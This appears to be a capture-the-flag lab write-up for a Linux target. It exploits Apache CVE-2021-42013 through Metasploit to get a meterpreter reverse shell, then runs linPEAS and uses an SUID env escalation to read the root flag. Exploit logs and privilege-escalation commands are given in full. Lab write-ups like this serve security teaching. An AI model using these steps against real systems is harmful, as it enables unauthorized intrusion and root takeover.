Question 2: It works! (Linux Hacking)

after running nmap, we found that the target user is running a vulnerable version of apache on port 80.

using the exploit on metasploit (msfconsole) we modified the exploit and ran it against the target machine and obtained a meterpreter shell.

```
runmsf6 exploit(multi/http/apache_normalize_path_rce) > run

[*] Started reverse TCP handler on 100.100.0.16:4444

[*] Using auxiliary/scanner/http/apache_normalize_path as check

[+] http://10.10.0.35:80 - The target is vulnerable to CVE-2021-42013 (mod_cgi is enabled).

[*] Scanned 1 of 1 hosts (100% complete)

[*] http://10.10.0.35:80 - Attempt to exploit for CVE-2021-42013

[*] http://10.10.0.35:80 - Sending linux/x64/meterpreter/reverse_tcp command payload

[*] Sending stage (3045348 bytes) to 10.10.0.35

[*] Meterpreter session 2 opened (100.100.0.16:4444 → 10.10.0.35:37738) at 2024-08-22 08:14:37 -0400

[!] This exploit may require manual cleanup of '/tmp/Yjni' on the target

meterpreter > pwd
/usr/bin
```

once we obtained a meterpreter shell, we uploaded the linpeas program onto the target machine using the following command:

upload ~/Desktop/linpas_linux_amd64 /tmp/linpeas_linux_amd64

```
meterpreter > upload ~/Desktop/linpeas_linux_amd64 /tmp/linpeas_linux_amd64
[*] uploading : /root/Desktop/linpeas_linux_amd64 → /tmp/linpeas_linux_amd64
[*] Uploaded -1.00 B of 3.11 MiB (0.0%): /root/Desktop/linpeas_linux_amd64 → /tmp/linpe
as_linux_amd64
[*] uploaded : /root/Desktop/linpeas_linux_amd64 → /tmp/linpeas_linux_amd64
```

give linPEAS execute rights.

```
      meterpreter > chmod 777 linpeas_linux_amd64

      meterpreter > ls

      Listing: /tmp
      Type
      Last modified
      Name

      100755/rwxr-xr-x
      250
      fil
      2024-08-22
      07:52:57 -0400
      HrRiyMv

      100755/rwxr-xr-x
      250
      fil
      2024-08-22
      08:28:15 -0400
      WaWfKIGf

      100755/rwxr-xr-x
      250
      fil
      2024-08-22
      08:14:36 -0400
      Yjni

      100777/rwxrwxrwx
      3256264
      fil
      2024-08-22
      08:30:20 -0400
      linpeas_linux_amd64
```

after running linpeas, we found a misconfig that we can abuse.

https://gtfobins.github.io/gtfobins/env/#suid

we escalated our privs using the following command (read the link above if the command does not make sense to you)

/usr/bin/env /bin/sh -p -c 'cat /root/flag'

```
meterpreter > shell
Process 156 created.
Channel 2 created.
whoami
daemon
```

```
/usr/bin/env /bin/sh -p -c 'cat /root/flag'
flag{874w5aolr2fab137j4b2vfxcyberedtq}
```